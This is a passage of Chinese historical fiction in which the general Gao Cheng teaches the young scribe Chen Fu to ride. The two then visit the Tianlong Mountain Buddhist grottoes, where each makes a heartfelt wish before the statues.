春日草场新绿,几匹骏马正悠闲踱步。
高澄令驯马师挑匹温顺的,不多时,便牵了匹桃花马而来。那马通体枣红,唯额间缀着团白毛,高澄抚过马鬃,转头对陈扶笑道:“待你能独自策马小跑一圈,我便带你去。如何?”
陈扶这才明白是要教她骑马,转念一想,骑马确实对之后随他四处巡幸以及随军有用。
“好呀!”陈扶眉眼一弯,学着他戏谑的语气,“大将军既允文允武,女史岂能只识文书、不谙骑乘?”
说着,便在高澄的托举下,翻身上了马。
高澄抓住她脚踝,“踏稳马镫,脚心虚空,三分实,七分虚,给我牢牢记着了,这能保你便是坠马,也不至被拖死。”
见她紧张地抓住鞍桥,嗤笑一声,“怕什么?有我在此,还真能让你摔了不成?”一手扶腰,另一手覆在她执缰的手上,“腰背挺直,目视前方……马通人性,你弱一分,它便欺你三分。”
他时而厉声纠正,“缰绳松了!” 时而又在她稳住节奏时,于耳边赞一句,“不算太笨。”
待马匹小跑起来,他不动声色撤了力道。
一圈跑完,她勒转马头时,竟已紧张地颊生红云,几缕青丝被汗黏在鬓边。
“恩,明明害怕还是不松缰绳,不愧是我高子惠的女史。”
她策马近前,垂目笑问,“除了去天龙山,可还有奖励嘛?”
高澄眯眼想了想,走向马场旁的柳树旁,折下几枝新生柳条,三两下编作环状,近前抛在她发顶上,“赏你的。”
见她捞过那柳环,指尖捻了捻粗糙的枝条,似不大满意这寒酸奖励,嘴角勾起抹深意的笑,“及笄礼时,给你换副纯金的。”略一沉吟,又从腰间解下一枚小巧金印,塞入她手中。“大王留下的一方私印,赏你了。”
眼底笑意更深“凭此印,苑囿马监的良驹,随你调用。”
山道崎岖,二人并骑而行。
时有身披赤袈裟的高僧往来,手中念珠轻转,带过丝缕檀香,格外清宁。
高澄目光落在身侧的少女身上,她一身鹅黄,骑在桃花马上,像雪化后初绽的嫩芽,轻灵在春光之中。高澄望着她,只觉她就像这天龙山一般,时而桃花灼灼,时而薄雾翻卷,时而天高云淡,时而玉宇无尘,一年四季,总有观不尽的景致,赏不完的佳境。
行至半山,已闻斧凿叮咚,工匠如蚁,攀附在崖壁之上,正潜心雕琢。二人下马,登上临时搭建的木台,俯瞰这宏大工程。
望着崖壁上渐显轮廓的造像,陈扶轻轻一叹,“人力有尽,佛法无涯。”
夕阳正斜,将天空染成一片赤金,余晖洒在她的侧影上,天真又庄严。高澄不自觉放柔了眉眼,笑回:“石刻竣工那日,便题此字。”
近身一处,已有一窟初具规模。
她下了高台,穿过葱郁苍翠一截山路,在那佛窟内驻足。造像贴壁圆雕,有佛像、菩萨像、罗汉像,大至数米,小仅盈寸。窟内烛火摇曳,香火冉冉,肃穆而静谧。
看她伫立良久,却不言语,高澄笑问,“可是心里在许愿?”不等她回答,便学着小孩子乳糯的语调道,“求佛祖菩萨保佑大将军,身康体健,长寿延年,无灾无难?”
陈扶垂目一笑,“同样的愿望,佛祖既已收到,应不必再求了。”忽又凝神细思了思,“然已过去六年之久,佛祖该不会忘了吧?”
高澄失笑,“忘了还是无不了知的佛么?既已求过,便许你自己的吧。”
陈扶怔了怔,她向来反求诸己,从无向外祈求之习惯,一时竟不知该求些什么。
沉吟片刻,才轻声道:“保佑安乐?”
“这不必佛祖保佑。有我在,自会护你周全,予你安乐。”
陈扶目光依旧落在佛像上,声音轻得像叹息,“世事难料,总有大将军……伸不上手之时。”
话音落下,两人似同时想到了什么,空气凝滞一瞬。
高澄从佛前香盒里拈出三柱长香,就着香烛点燃,青烟笔直升腾,缭绕在佛像慈悲眉眼间,仿佛真能沟通两界。
诸佛之下,他道:
“弟子高澄,自负智计,平生纵横,无所畏惧。唯有一事,思之……后怕。求神佛保佑,无论何时,无论何地,赐弟子一念感应,一线灵犀,让弟子知她所在,莫失莫忘,勿分勿离。”
陈扶眼睛一酸,热意漫上眼眶。
哈,她终非草木。
然,那一丝妄念,如石火,如电光,弹指刹那,便已寂灭。她转身假意看向窟外,拭去了那滴不听话的眼泪。
窟外石阶上,一个小僧正执着扫帚,扫着被风吹落的桃花。
“做不到本来无一物……那便时时勤拂拭……”
高澄听了一耳朵,只当她看那小僧扫地,心有所感在参禅。不由眉头一蹙,他不喜她过于超然物外,上前一步揽住她,将她带回佛窟。
“做小王猛便好,不必做什么小圣人。岂不闻只羡……”他将临到嘴边的‘鸳鸯’咽回去,换一词道,“只羡红尘,不羡仙?参禅无趣,有我护着你,就在这红尘之中同乐,岂不好?”
“大将军所言有理,稚驹小小年纪,未曾拿起,谈何放下?”
高澄眼底亮了亮,“这才像句明白话。”替她拢好鬓发,附耳笑问,“还没想好许何愿?”
“想好了。”
她旋身面向佛像,顺势脱开他怀抱,
“求神佛保佑他成不世之功,开天下太平,弟子必将安危与共,桴鼓相应,同舟同渡,不离不弃。”